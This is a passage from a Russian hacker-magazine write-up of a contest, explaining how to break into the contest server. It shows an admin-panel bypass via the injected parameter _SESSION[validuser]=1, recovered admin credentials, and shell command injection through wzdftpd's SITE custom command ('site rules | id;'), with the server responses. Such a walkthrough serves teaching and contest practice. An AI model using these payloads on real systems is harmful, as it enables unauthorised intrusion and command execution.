Х-конкурс GHC (www.ghc.ru) Хакер, номер #087, стр. 087-090-2 http://81.177.29.6/news/admin.php?_SESSION[validuser]=1. Получилось! Мы в админке. Смотрим, что тут за пользователь с паролем: http://81.177.29.6/news/admin.php?menu=settings&r=4&_SESSION[validuser]=1 и получаем пару admin:getmeBabe. Теперь возвращаемся к нашему ftpd, но для начала отправляемся на домашнюю страничку демона (www.wzdftpd.net) и читаем о синтаксисе уязвимой команды SITE. Подключаемся к серверу и проходим аутентификацию с раздобытым паролем: USER admin 331 User admin okay, need password. PASS getmeBabe 230-command ok 230 User logged in, proceed. SITE version 200 wzdftpd i686-pc-gnu mt 0.5.4 build 20060223 (threads,release) SITE user | id; 501 User does not exists quit 221 Cya ! Connection closed by foreign host. Что-то не так. Попробуем найти подробности. Дальнейший поиск нам дает еще один эксплоит: www.milw0rm.com/id.php?id=1231. Пользуются им так: wzdftpdwarez.pl remote_host remote_port user pass custom_site_command. Здесь мы видим, что нужно задавать не просто встроенную команду SITE, а пользовательскую команду. Что ж, придется качать исходники: http://prdownloads.sourceforge.net/wzdftpd/wzdftpd-0.5.4.tar.gz?download Распаковываем и находим в папке src пример конфигурационного файла: wzd.cfg.sample Находим описание пользовательских команд: ##### CUSTOM SITE COMMANDS # Here you can define external site commands. #site_cmd = my_free ./free.sh # this defines the SITE RULES command, which prints the following file site_cmd = rules !/home/pollux/DEL/etc/wzdftpd/file_rules.txt Хм… Интересно, админ оставил команду rules как custom? Пробуем: ftp> open 81.177.29.6 Connected to 81.177.29.6 (81.177.29.6). 220 wzd server ready. Name (81.177.29.6:root): admin 530 TLS commands disabled SSL not available 331 User admin okay, need password. Password: 230-command ok 230 User logged in, proceed. Remote system type is UNIX. Using binary mode to transfer files. ftp> site rules | id; 200- uid=502(wzdftpd) gid=502(wzdftpd) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 200 SITE command ok ftp> site rules | echo ghc finished the quest > /home/admin/Desktop/ghc_resume.txt; 200- 200 SITE command ok ftp> quit 221 Cya ! Вот, собственно, и все. Именно так нужно было проходить конкурс. Первым с это задачей справился ittrium (#152322). Если тебе так и не удалось поломать наш сервер, настоятельно рекомендую тебе заглянуть на диск и посмотреть видео, которое наглядно показывает, что надо было делать для прохождения конкурса. Новый конкурс появится на странице konkurs.xakep.ru примерно к 20му марта. |